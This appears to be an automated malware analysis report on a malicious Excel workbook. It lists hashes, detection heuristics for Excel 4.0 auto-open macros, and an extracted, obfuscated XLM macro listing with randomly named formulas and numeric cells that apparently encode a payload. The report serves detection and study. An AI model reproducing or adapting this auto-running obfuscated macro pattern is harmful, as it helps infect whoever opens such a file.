Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 977667231ba216ed…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:11 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: be4f96906fcb23183a9c8975f5015905 SHA-1: 98cd2fbbe2b1fc534ecac60eb32da5fbd159198c SHA-256: 977667231ba216edd5c7aa8b110e0e4a011f01abae7cbcc2b4dc9db46bee3e95
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6766 bytes
SHA-256: 80771f992b5c6c9552ba790b8a84612598e9cafbcb7eb7746ebb7674abc199b6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 39 identifiers look randomly generated (e.g. 'PHAevsMRXDOj') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hBkIxTH
' 0018     23 LABEL : Cell Value, String Constant - ajrPhspy len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E186 
' 0018     26 LABEL : Cell Value, String Constant - bleoBNvrkHz len=0 
' 0018     27 LABEL : Cell Value, String Constant - dtJSRIFfEWOm len=0 
' 0018     26 LABEL : Cell Value, String Constant - DwLxbOgnxfe len=0 
' 0018     24 LABEL : Cell Value, String Constant - eWtdWJyII len=0 
' 0018     24 LABEL : Cell Value, String Constant - HmALymPbr len=0 
' 0018     24 LABEL : Cell Value, String Constant - HWWtwhEii len=0 
' 0018     26 LABEL : Cell Value, String Constant - JAFVMRxzrpQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - jOGmpjcizN len=0 
' 0018     22 LABEL : Cell Value, String Constant - LklrVRd len=0 
' 0018     27 LABEL : Cell Value, String Constant - lUwbWQRwPIJs len=0 
' 0018     25 LABEL : Cell Value, String Constant - MfxevUyqwZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - MURxptHOR len=0 
' 0018     27 LABEL : Cell Value, String Constant - pbkkvkNHhUfL len=0 
' 0018     27 LABEL : Cell Value, String Constant - PHAevsMRXDOj len=0 
' 0018     26 LABEL : Cell Value, String Constant - RGQBhekEqsP len=0 
' 0018     24 LABEL : Cell Value, String Constant - SdzFdZxes len=0 
' 0018     20 LABEL : Cell Value, String Constant - tByYS len=0 
' 0018     25 LABEL : Cell Value, String Constant - VbyToapthI len=0 
' 0018     21 LABEL : Cell Value, String Constant - vZJRrI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hBkIxTH,R96,"",680.00000000000000000000
'  hBkIxTH,E97,"SET.NAME("tByYS",0+VALUE("0"))",""
'  hBkIxTH,R97,"",556.00000000000000000000
'  hBkIxTH,R98,"",320.00000000000000000000
'  hBkIxTH,E99,"SET.NAME("DwLxbOgnxfe",tByYS)",""
'  hBkIxTH,R99,"",562.00000000000000000000
'  hBkIxTH,R100,"",171.00000000000000000000
'  hBkIxTH,R101,"",-245.00000000000000000000
'  hBkIxTH,E104,"SET.NAME("jOGmpjcizN",tByYS)",""
'  hBkIxTH,E106,"SET.NAME("HmALymPbr",COUNTA(PHAevsMRXDOj))",""
'  hBkIxTH,E110,"SET.NAME("bleoBNvrkHz",COUNTA(LklrVRd))",""
'  hBkIxTH,E115,[],""
'  hBkIxTH,E119,"SET.NAME("dtJSRIFfEWOm","")",""
'  hBkIxTH,E121,"DwLxbOgnxfe",""
'  hBkIxTH,E123,"SET.NAME("pbkkvkNHhUfL",HLOOKUP("*",PHAevsMRXDOj,DwLxbOgnxfe,FALSE))",""
'  hBkIxTH,E127,"ajrPhspy",""
'  hBkIxTH,E130,"SET.NAME("vZJRrI",tByYS)",""
'  hBkIxTH,E133,[],""
'  hBkIxTH,E135,"vZJRrI",""
'  hBkIxTH,E139,"JAFVMRxzrpQ",""
'  hBkIxTH,E143,"MfxevUyqwZ",""
'  hBkIxTH,E145,"eWtdWJyII",""
'  hBkIxTH,E148,"SET.NAME("SdzFdZxes",VALUE(HLOOKUP("*",LklrVRd,eWtdWJyII,FALSE)))",""
'  hBkIxTH,E153,"lUwbWQRwPIJs",""
'  hBkIxTH,E158,"dtJSRIFfEWOm",""
'  hBkIxTH,E163,"jOGmpjcizN",""
'  hBkIxTH,E167,NEXT(),""
'  hBkIxTH,E169,"VbyToapthI",""
'  hBkIxTH,E171,[],""
'  hBkIxTH,E175,"MURxptHOR",""
'  hBkIxTH,E178,NEXT(),""
'  hBkIxTH,E182,RETURN(),""
'  hBkIxTH,E214,"SET.NAME("HWWtwhEii",E97)",""
'  hBkIxTH,E216,"PHAevsMRXDOj",""
'  hBkIxTH,E221,"SET.NAME("LklrVRd",R61C11)",""
'  hBkIxTH,E225,"SET.NAME("MURxptHOR",233)",""
'  hBkIxTH,E230,"SET.NAME("RGQBhekEqsP",5)",""
'  hBkIxTH,E232,HWWtwhEii(),""
'  hBkIxTH,E233,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.